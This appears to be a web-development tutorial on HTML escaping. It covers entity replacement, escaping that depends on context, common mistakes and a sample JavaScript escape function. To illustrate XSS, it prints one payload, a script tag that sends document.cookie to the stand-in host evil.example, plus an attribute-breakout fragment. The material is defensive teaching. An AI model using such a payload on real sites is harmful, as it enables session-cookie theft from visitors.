Escaping HTML entities is one of those tasks that seems boring right up until it breaks something. A stray < in a comment field, a user whose name is literally <script>, or a JSON blob rendered straight into a template — any of these can turn into a broken layout or a full-blown security hole. Getting escaping right is cheap. Getting it wrong is expensive.

What HTML escaping actually is

HTML has a handful of characters that carry special meaning. The browser treats < as the start of a tag, & as the start of an entity reference, and quotes as attribute delimiters. Escaping means replacing those characters with their entity equivalents so the browser renders them as literal text instead of interpreting them as markup.

The core set most people care about:

  • & becomes &amp;
  • < becomes &lt;
  • > becomes &gt;
  • " becomes &quot;
  • ' becomes &#39; (or &apos;)

Escape the ampersand first. If you replace < with &lt; before handling &, you'll double-escape and end up with &amp;lt;. Order matters.

Why and when you'd do it

The short version: escape any data that came from outside your code before you put it into HTML. "Outside" means user input, database records, API responses, URL parameters, filenames — anything you didn't hard-code yourself.

The classic failure is cross-site scripting (XSS). If a user sets their display name to:

<script>fetch('https://evil.example/steal?c='+document.cookie)</script>

and you drop that straight into a page, every visitor runs the attacker's script. Escaping turns it into harmless text that shows up on screen exactly as typed.

Beyond security, escaping keeps your markup valid. Displaying a code snippet, an XML sample, or a math expression with < and > requires escaping or the browser eats half of it.

Context is everything

Here's the part people miss: HTML escaping is not one universal operation. The correct escaping depends on where the data lands. The same string needs different treatment in different spots.

Element content vs. attributes

Inside element text, you mostly need to handle <, >, and &. Inside an attribute value, quotes matter enormously, because a bare quote can break out of the attribute:

<input value="USER_INPUT">

If the input is "><script>..., an unescaped double quote closes the attribute and the tag, and now you've got script injection again. Always escape quotes for attribute contexts, and always quote your attributes in the first place.

Other contexts need other rules

HTML escaping does not protect you inside a <script> block, in inline CSS, in a URL, or in an onclick handler. Those need JavaScript escaping, CSS escaping, or URL encoding respectively. Piping HTML-escaped data into a JavaScript string is a common mistake — it neither works correctly nor keeps you safe. Match the encoding to the sink.

Common gotchas

  • Double escaping. Escaping data that's already escaped gives you literal &lt; on the page. This happens when two layers both try to be helpful — say, a framework and your own code.
  • Escaping too late. Escape at the moment of output, not when you store data. Storing escaped values pollutes your database, breaks searches, and makes it hard to reuse the data in non-HTML contexts like emails or PDFs.
  • Trusting your ORM or template blindly. Many template engines auto-escape, which is great — until you use a "raw" or "safe" helper to bypass it and forget why that was dangerous.
  • Forgetting attributes without quotes. If you write <div class=USER_INPUT>, even escaped quotes won't save you; a space in the value breaks out.
  • Rolling your own regex. It's tempting to write a quick replace, but edge cases and ordering bite people. Use a well-tested library function.

A short worked example

Say you're rendering user comments in a Node app without a template engine. A naive version:

res.send(`<p>${comment}</p>`); // do NOT do this

A small, correct escape function for element content:

function escapeHtml(str) {
  return String(str)
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

res.send(`<p>${escapeHtml(comment)}</p>`);

Notice the ampersand replacement comes first. With input <b>hi</b> & bye, you get &lt;b&gt;hi&lt;/b&gt; &amp; bye, which the browser shows as the exact original text.

In practice, reach for what your platform already ships. Most templating systems escape by default: React's JSX escapes interpolated values, Jinja2 and Django templates auto-escape, and libraries like he handle the full entity table. When you just need to eyeball a value or quickly convert a snippet, our HTML Escape Tool does it in the browser without you writing any code.

Unescaping and round-tripping

The reverse operation — turning &lt; back into < — is useful when reading escaped content from an API or migrating data. Be careful: unescaping content and then rendering it as HTML reintroduces every risk you escaped away. Only unescape when you're going to display it as plain text again, or when you fully trust the source.

A safe mental model: data flows in as raw text, lives in storage as raw text, and gets escaped at the exact edge where it enters an HTML document. Keep that boundary sharp and most escaping problems disappear.

The takeaway

Escape at output, match the encoding to the context, escape the ampersand first, and lean on battle-tested library functions instead of clever regexes. Do that consistently and you'll dodge both broken layouts and the XSS bugs that keep security teams up at night.

Photo by Florian Olivo on Unsplash